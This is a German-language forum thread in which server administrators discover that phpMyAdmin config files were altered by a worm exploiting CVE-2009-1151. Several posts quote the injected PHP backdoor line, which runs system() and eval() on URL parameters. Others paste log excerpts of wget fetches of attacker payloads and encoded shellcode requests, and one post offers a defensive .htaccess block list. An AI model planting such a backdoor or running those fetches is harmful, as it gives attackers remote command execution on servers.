# Nach Wochenende kein Zugriff mehr auf phpmyadmin... Debian 5 + ISPconfig3



## gbit (15. Juni 2009)

Guten Tag,

ich habe ein Problem, was mir die letzten nerven raubt...
Ich habe mir aufn Homeserver Debian 5 installiert mit ISPconfig3 von diesem Tutorial:

*Der Perfekte Server - Debian Lenny (Debian 5.0) [ISPConfig 3]*

Es lief auch alles absolut super, keine Fehler und letztendlich lief auch alles! 
Der Server lief jetzt auch seit 3 Wochen ohne Probleme und am Freitag habe ich sogar noch mit phpmyadmin gearbeitet, doch seit Heute Morgen geht garnix mehr, sobald ich phpmyadmin aufrufe, spuckt mir apache nur folgendes aus:



> Willkommen bei phpMyAdmin 2.11.8.1deb5
> 
> phpMyAdmin hat versucht eine Verbindung zum MySQL-Server aufzubauen, jedoch hat dieser die Verbindung zurückgewiesen. Sie sollten Ihre Einstellungen für Host, Benutzername und Passwort in Ihrer config.inc.php überprüfen und sich vergewissern, dass diese den Informationen, welche Sie vom Administrator erhalten haben, entsprechen.
> Fehler
> ...


Ich habe nichts dran gemacht, ich habe auch schon alle möglichen configs von ISPconfig3 oder phpmyadmin durchforstet, jedoch steht überall immer nur localhost bei hostname ( was ja eigentlich stimmen müsste?! )
Ein Update von mysql o. phpmyadmin hat mir ISPconfig auch nicht angezeigt...

Was mache ich bloß falsch, das es zum verrecken nicht mehr klappen will?
Ach ja, der login über shell ins mysql per root account klappt wunderbar... Und Fremdeinwirkung kann ich auch sofort ausschließen...


----------



## sebastianh (16. Juni 2009)

Gut zu wissen, scheint so das ich mich doch nicht blöd anstelle. Ich habe das selbe Problemm. Jedoch habe ich noch keine Zeit gefunden um zu schauen an was das liegt. Das Problemm ist bei mir seit Donnerstag oder Freitag (glaub ich)

.:EDIT:.
So, habe gerade mal geschaut, also bei mir lag der fehler in der "config.inc.php" von phpmyadmin.
Anscheinend wurde die am 11.06 bei mir verändert, kommt also mit dem Tag wie oben schon erwähnt hin.
der wert für [auth_type] wurde auf 'config' geändert. Habe Ihn wieder auf 'cookie' geändert.
In der Zeile für [host], war dieser aus kommentiert und es stand ein "phpinfo();" da....

Aber Warum?.... Keine Ahnung!


----------



## Till (17. Juni 2009)

Könnte das Problem hier sein:

http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

Zumindest meinte das jemand im en Forum, der ein ähnliches Problem hat.


----------



## gbit (18. Juni 2009)

Danke für die Antworten!

@sebastianh, ich habe nochmal meine config.inc.php von phpmyadmin durchforstet, lustigerweise wurde bei mir [auth_type] nicht verändert! Allerdings wurde bei mir komplett die Zeile [host] rausgelöscht... Nachdem ich Sie dann wieder eingetragen hatte, hat wieder alles gefunzt *puh*

Ob das mit dem PoC zusammenhängt müsste ich mal gucken, allerdings ist mir keinerlei direkt Ausgabe von Systemdaten über die config aufgefallen 

grüße, gbit!


----------



## rutziste (18. Juni 2009)

hatte das selbe problem. habe die datei config.inc.php im verzeichnis /var/lib/phpmyadmin gelöscht und es funktioniert wieder. würde mich aber sehr interessieren wie das zu stande gekommen ist. 

die datei wurde am 16 juni 2009 erstellt um 00:52

achso noch die info ich verwende die letzte ispconfig auf debian lenny.

mfg


----------



## Till (19. Juni 2009)

ispconfig schreibt oder ändert die datei nicht, es muss also durch einen anderen prozess geändert worden sein.


----------



## e1l52 (23. Juni 2009)

Gleiches Problem bei mir. /var/lib/phpmyadmin/config.inc.php wurde am 20.6. verändert. Der wert für [auth_type] stand auf 'config' . Habe Ihn wieder auf 'cookie' geändert. Seitdem läufts wieder.

Keine Ahnung wodurch die Änderung erfolgt ist.


----------



## jogy (25. Juni 2009)

Also wer jetzt etwa pingelig ist (so wie ich), der sieht immer noch im /phpmyadmin eine Fehlermeldung unter dem Login-Feld:


```
Ungültiger Host-Name für Server 1. Bitte überprüfen Sie Ihre Konfiguration.
```
Ich habe in der /var/lib/phpmyadmin/config.inc.php folgende Änderung gemacht:

Zeile 14 aukommentiert:

```
/* $cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost'; */
```
Und dafür eingefügt:

```
$cfg['Servers'][$i]['host']='localhost';
```


----------



## rutziste (25. Juni 2009)

So wens wer gans genau wissen will. habe gestern mal schnell in einer vm ein neues ispcofig installiert. und da steht in der config.inc.php überhaupt nichts drinnen. also eine leere datei.

also ruhig alles löschen was da drinnen steht und es funktioniert wieder.
dann noch die berechtigung 660 auf 640 drehen.

mfg


----------



## jogy (25. Juni 2009)

Stimmt: Habe die config.inc.php mal umbenannt. Jetzt läufts auch ohne Probleme. Tja, weniger ist manchmal eben mehr.


----------



## Till (26. Juni 2009)

Mehr Infos dazu hier: Scheint ein Wurm zu sein, der sich aif phpmyadmin spezialisiert hat:

http://www.howtoforge.com/forums/showthread.php?t=36418&page=3


----------



## jogy (26. Juni 2009)

*Wurmkur fällig!*

Die Sicherheitslücke wurde beseitigt. Abhilfe schafft ein apt-get update && apt-get upgrade. (Da denkt man, man sei sicher...)


----------



## Falcon37 (26. Juni 2009)

Für Debian gibt es seit heute ein Update, würde unbedingt jeden empfehlen sofort zu updaten!!


----------



## jogy (26. Juni 2009)

Mich würde mal interessieren, wie es dem Exploit möglich war, in den Rootbereich des Servers zu gelangen.


----------



## jogy (26. Juni 2009)

Ich will ja nicht bange machen, aber durch den Exploit konnten beliebige root Befehle ausgeführt werden. Konsequenter Weise müßte der Server jetzt neu aufgesetzt werden.
http://www.informatikserver.at/inde...heitsluecke-in-phpmyadmin-bedroht-ihre-server
http://www.userlinux.net/en/new-phpmyadmin-exploit.html
http://www.tecchannel.de/sicherheit/news/2019939/mindestens_zwei_exploits_fuer_phpmyadmin_im_umlauf/


----------



## Falcon37 (26. Juni 2009)

Wie kann ich phpmyadmin eigentlich "nicht öffentlich" gestalten? Also z.B. mit .hctaccess etc. schützen...


----------



## Till (27. Juni 2009)

Wie Du vorgeschlagen hast, eine .htaccess davor legen.


----------



## h4nnib4l123 (27. Juni 2009)

Habe folgenden Code in der config.inc.php vorgefunden

```
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo  '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo  '<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
```
Naja da wird wohl wieder eine neu-installation anstehen


----------



## jogy (27. Juni 2009)

Schau doch erst einmal in Deine /var/log/apache2/error.log
Hast Du da solche oder ähnliche Einträge?

---------------------snip
--2009-06-23 18:57:49--  http://xxx.xxx.xxx.xxx/psy.tgz
Connecting to xxx.xxx.xxx.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 592964 (579K) [application/x-gzip]
Saving to: `psy.tgz'

     0K .......... .......... .......... .......... ..........  8%  130K 4s
    50K .......... .......... .......... .......... .......... 17%  114K 4s
   100K .......... .......... .......... .......... .......... 25%  123K 4s
   150K .......... .......... .......... .......... .......... 34%  117K 3s
   200K .......... .......... .......... .......... .......... 43%  125K 3s
   250K .......... .......... .......... .......... .......... 51%  118K 2s
   300K .......... .......... .......... .......... .......... 60%  123K 2s
   350K .......... .......... .......... .......... .......... 69%  118K 1s
   400K .......... .......... .......... .......... .......... 77%  116K 1s
   450K .......... .......... .......... .......... .......... 86%  125K 1s
   500K .......... .......... .......... .......... .......... 94%  122K 0s
   550K .......... .......... .........                       100%  110K=4.8s

2009-06-23 18:57:54 (120 KB/s) - `psy.tgz' saved [592964/592964]

--2009-06-23 19:00:56--  http://xxx.xxx.xxx.xxx/ba.tgz
Connecting to xxx.xxx.xxx.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 493611 (482K) [application/x-gzip]
Saving to: `ba.tgz'

     0K .......... .......... .......... .......... .......... 10%  130K 3s
    50K .......... .......... .......... .......... .......... 20%  117K 3s
   100K .......... .......... .......... .......... .......... 31%  118K 3s
   150K .......... .......... .......... .......... .......... 41%  118K 2s
   200K .......... .......... .......... .......... .......... 51%  125K 2s
   250K .......... .......... .......... .......... .......... 62%  122K 1s
   300K .......... .......... .......... .......... .......... 72%  115K 1s
   350K .......... .......... .......... .......... .......... 82%  116K 1s
   400K .......... .......... .......... .......... .......... 93%  114K 0s
   450K .......... .......... .......... ..                   100%  141K=4.0s

2009-06-23 19:01:00 (121 KB/s) - `ba.tgz' saved [493611/493611]

--2009-06-23 19:01:00--  http://xxx.xxx.xxx.xxx/time.set
Connecting to xxx.xxx.xxx.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5542 (5.4K) [text/plain]
Saving to: `time.set'

     0K .....                                                 100%  140K=0.04s

2009-06-23 19:01:00 (140 KB/s) - `time.set' saved [5542/5542]

./run: line 4: ./httpd: No such file or directory
------------------------- snip


----------



## h4nnib4l123 (27. Juni 2009)

Folgendes konnte ich einmalig ausfindig machen:



> --2009-06-20 19:00:04--  http://188.24.51.XXX/50.txt
> Connecting to 188.24.51.XXX:80... connected.
> HTTP request sent, awaiting response... 200 OK
> Length: 17838 (17K) [text/plain]
> ...


Die 50.txt ist leider nichtmehr über den obigen Server erreich-/einsehbar.
ein "find /* -name 50.txt" auf meinem Server brachte auch keinen Erfolg.


----------



## jogy (28. Juni 2009)

Das ist ja interessant. Der Angriff scheint vom gleichen Server. Habe auch am 20.06.2009 die folgenden Einträge:


```
--2009-06-20 04:49:45--  [url]http://188.24.51.xxx/50.txt[/url]
Connecting to 188.24.51.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17838 (17K) [text/plain]
Saving to: `/tmp/50.txt'

     0K .......... .......                                    100% 67.6K=0.3s

2009-06-20 04:49:56 (67.6 KB/s) - `/tmp/50.txt' saved [17838/17838]

kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
--2009-06-20 04:52:23--  [url]http://188.24.51.xxx/51.txt[/url]
Connecting to 188.24.51.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17839 (17K) [text/plain]
Saving to: `/tmp/51.txt'

     0K .......... .......                                    100% 75.6K=0.2s

2009-06-20 04:52:30 (75.6 KB/s) - `/tmp/51.txt' saved [17839/17839]

kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
sh: fetch: command not found
sh: line 0: kill: ?: arguments must be process or job IDs
sh: line 0: kill: S: arguments must be process or job IDs
sh: line 0: kill: 1:24: arguments must be process or job IDs
sh: line 0: kill: /usr/sbin/apache/log: arguments must be process or job IDs
```
Aufgrund der Fehlermeldungen gege ich davon aus, dass der Angriff erfolglos war. Wie sieht es denn bei Dir weiter im Log aus?


----------



## h4nnib4l123 (28. Juni 2009)

Offensichtlich war es derselbe attacker...

Ich habe allerdings nur einen Eintrag in den error.log.X Dateien dieser Art gefunden.

Was allerdings seit der Attacke öfter auftritt ist der Versuch kodierten Shellcode einzuflösen:


> [Tue Jun 23 07:27:53 2009] [error] [client 90.186.247.XXX] Invalid method in request x\x01T\x90_o\x820\x14\xc5\xdfI\xf8\x0e\xf7\xd1m\xfd\x03(\x8a\x9a=\x18g\xe6\xb2\xb9-\x11\xb3\xe7
> [Tue Jun 23 07:28:43 2009] [error] [client 90.186.247.XXX] Invalid method in request x\x01T\x90_o\x820\x14\xc5\xdfI\xf8\x0e\xf7\xd1m\xfd\x03(\x8a\x9a=\x18g\xe6\xb2\xb9-\x11\xb3\xe7
> [Tue Jun 23 07:28:44 2009] [error] [client 90.186.247.XXX] Invalid method in request x\x01<OMo\xab0\x10\xbc#\xf1\x1fV=\xb5\x116\x98\xef\x10\xf5\x10\xa5QR\xa5\xb4O
> [Tue Jun 23 07:28:49 2009] [error] [client 90.186.247.XXX] Invalid method in request x\x01T\x90_o\x820\x14\xc5\xdfI\xf8\x0e\xf7\xd1m\xfd\x03(\x8a\x9a=\x18g\xe6\xb2\xb9-\x11\xb3\xe7
> ...


Danke für die PM.
Ich werde es mir mit meinen begrenzten Möglichkeiten mal anschauen


----------



## jogy (28. Juni 2009)

*Apache Basisschutz installieren*

touch /usr/share/phpmyadmin/.htaccess
dann den folgenden Code einfügen in die .htaccess:


```
RewriteEngine On
Options +FollowSymLinks
ServerSignature Off

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]
RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(/*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]
```
Damit ist phpmyadmin mit einem Basischutz versehen.


----------



## jogy (28. Juni 2009)

*Debian 5 geschützt mit Suhosin*

Debian 5 ist automatisch mit Suhosin geschützt. http://www.hardened-php.net/ Deshalb dürfte m.E. kein "Schadcode" ausgeführt worden sein: 



> Another common error in these books is that they spread the urban legend that the most dangerous problem within PHP “remote code inclusion vulnerabilities” can be fixed by disabling allow_url_fopen in the configuration (or allow_url_include in PHP 5.2.x). This information is simply wrong, because these configuration directives do NOT protect against attacks through php://input or data:// URLs. Our Suhosin and the former Hardening-Patch are the only available protections that close all URL include attacks.


----------



## mrairbrush (28. Juli 2009)

phpMyAdmin 3.1.3.2 behebt angeblich das Problem. Komisch nur das ich das mir version
*phpMyAdmin - 2.11.8.1deb5 angezeigt wird. Ist die nun völlig veraltet. Ist im aktuellen Image von Hetzner
*


----------



## Andinho (30. Aug. 2009)

ich hatte das gleiche Problem.
hatte das in der  config.inc.php stehen:
'host_______if___GET__c____echo___pre___system___GET__c____e                 cho____pre____if___GET__p____echo___pre___eval___GET__p____echo____pre_______

Das war anscheinend ne Attacke die hier beschrieben wird:

http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/
(edit: ok grade gesehen, dass das schon gepostet wurde)

Beim nächsten Aufruf von phpmyadmin wird sie neu angelegt und es funktioniert wieder.

Jetzt mal ein update vom phpmyadmin machen.
Aber irgendwie scheinen bei mir die Sonderzeichen nicht rübergekommen zu sein.
Ich finde auch nichts in den Logfiles (was hoffentlich ein gutes und kein schlechtes Zeichen ist oO)


----------



## Falcon37 (30. Okt. 2009)

*Mein .htaccess Schutz funktioniert nicht mher*

Mein .htaccess Schutz funktioniert auf einmal nicht mehr, also phpMyAdmin ist einfach so erreichbar. Die .htaccess Dateien existieren aber und beide haben die Rechte rw-r--r-- (0644). Ist seit die vorletzten ISPConfig 3 Update so, glaub aber nicht das es daran liegt. Jemand vielleicht ne Idee?


----------



## Till (1. Nov. 2009)

Wo liegt das phpmyadmin?


----------



## Falcon37 (1. Nov. 2009)

/usr/share/phpmyadmin


----------



## Till (1. Nov. 2009)

Füge mal entsprechende allowOverride Rules für das Verzeichnis /usr/share/phpmyadmin in der apache2.conf datei hinzu.


----------



## Falcon37 (25. Nov. 2009)

Versuche es jetzt schon seit einigen Wochen, jetzt muss ich leider aber doch fragen... was sind "entsprechende allowOverride Rules" ?


----------



## Till (26. Nov. 2009)

Versuch mal:

<Directory /usr/share/phpmyadmin>
        Order allow,deny
        Allow from all
</Directory>


----------



## Falcon37 (26. Nov. 2009)

Das geht leider auch nicht. /etc/apache2/apache2.conf ist doch die korrekte Datei oder lieg ich da falsch? Habe alle Einträge auch mit der Datei /etc/phpmyadmin/apache.conf mal getestet.


----------



## Till (27. Nov. 2009)

Die apache2.conf ist schon ok. hast Du es auch ganz am Ende eingefügt?


----------



## Falcon37 (27. Nov. 2009)

Jop habe ich.


----------



## Falcon37 (14. Jan. 2010)

Sonst noch jemand Idee wie der Schutz gehen könnte?


----------



## Till (14. Jan. 2010)

Ich versteh wirklich nicht, warum es bei Dir nicht geht  Wenn gernichts hilft, musst Du notfalls die Zeilen:

<Directory />
       AllowOverride None
       Order Deny,Allow
       Deny from all
</Directory>

in der Datei:

/etc/apache2/sites-enabled/000-ispconfig.conf

auskommentieren und dann apache neu starten.


----------



## Falcon37 (14. Jan. 2010)

Zitat von Till:


> Ich versteh wirklich nicht, warum es bei Dir nicht geht


Ich auch nicht  Habe sogar einen Server mehrfach nur wegem diesem neu installiert; und es geht auf wirklich keinem. Ich werde jetzt nochmal alles in diesem Thema durchgehen, und sollte es dann wieder nicht gehen die Notlösung nehmen oder einfach phpmyadmin deinstallieren.

Oder kann man vielleicht einfach den Pfad von phpmyadmin ändern?


----------



## Free99 (15. Feb. 2010)

wie zum Geier ist das Passwort des mysql-root?


----------



## Till (16. Feb. 2010)

Dsa hast Du selbst bei der Installation von mysql angegeben. Du solltest es also wissen.


----------



## Free99 (16. Feb. 2010)

sorry für die dumme Frage und danke für den Denkanstoß 
hab nach mehrfachem probieren mein PW geknackt ^^


----------



## teeshop (10. März 2010)

Zitat von e1l52:


> Gleiches Problem bei mir. /var/lib/phpmyadmin/config.inc.php wurde am 20.6. verändert. Der wert für [auth_type] stand auf 'config' . Habe Ihn wieder auf 'cookie' geändert. Seitdem läufts wieder.
> 
> Keine Ahnung wodurch die Änderung erfolgt ist.


Ich hatte die Fehlermeldung, daß username oder password nicht stimmen. Die zusendung eines neuen Passworts hat auch nicht funktioniert. Die /var/lib/phpmyadmin/config.inc.php war bei mir komplett leer.  Ich habe dann nach diesem Tipp folgendes eingetragen:

```
[auth_type]'cookie'
```
und nun geht es.
Gehört in die Datei nicht mehr rein?
Weis jemand ,wo ich den Inhalt bekommen kann?

Danke schon mal für eure Hilfe 

grüße

teeshop


----------



## Falcon37 (28. Juni 2010)

Echt hammer, versuche es jetzt seit über einem halben ja diesen einfachen htaccess-Schutz hinzubekommen 

	
	
		
		
	


	



 Hat bis heute nicht geklappt  Auch dieses relativ neue HowTo funktioniert bei mir nicht, also alles klappt, aber nach dem ausführen von _htpasswd -c .htpasswd myusernam_e gibt's immer noch keinen Schutz.


----------



## jogy (28. Juni 2010)

Dann mach es Dir doch ganz einfach und ändere in der /etc/phpmyadmin/config.inc.php folgendes von:



> //$cfg['Servers'][$i]['auth_type'] = 'cookie';


auf:



> $cfg['Servers'][$i]['auth_type'] = 'http';


Erledigt!


----------



## pee (28. Juni 2010)

Habe sicherheitshalber nachgesehen, ob mein Server auch eine modifizierte config.inc.php hat. Aber die ist erst gar nicht da. Nur eine *config.sample.inc.php*. Ich logge mich immer per Passtworteingabe ein und es klappt zuverlässig.

HAND


----------



## Falcon37 (29. Juni 2010)

Zitat von jogy:


> Dann mach es Dir doch ganz einfach und ändere in der /etc/phpmyadmin/config.inc.php folgendes von:
> 
> 
> 
> ...


Thx, aber das funktioniert auch nicht (habe Apache2 und MySQL neugestartet).


----------



## jogy (29. Juni 2010)

Was genau funktioniert denn dann nicht? Wird Dir kein Login angezeigt?


----------



## Falcon37 (29. Juni 2010)

Es ändert sich nix, Phpmyadmin sieht wie immer aus.


----------

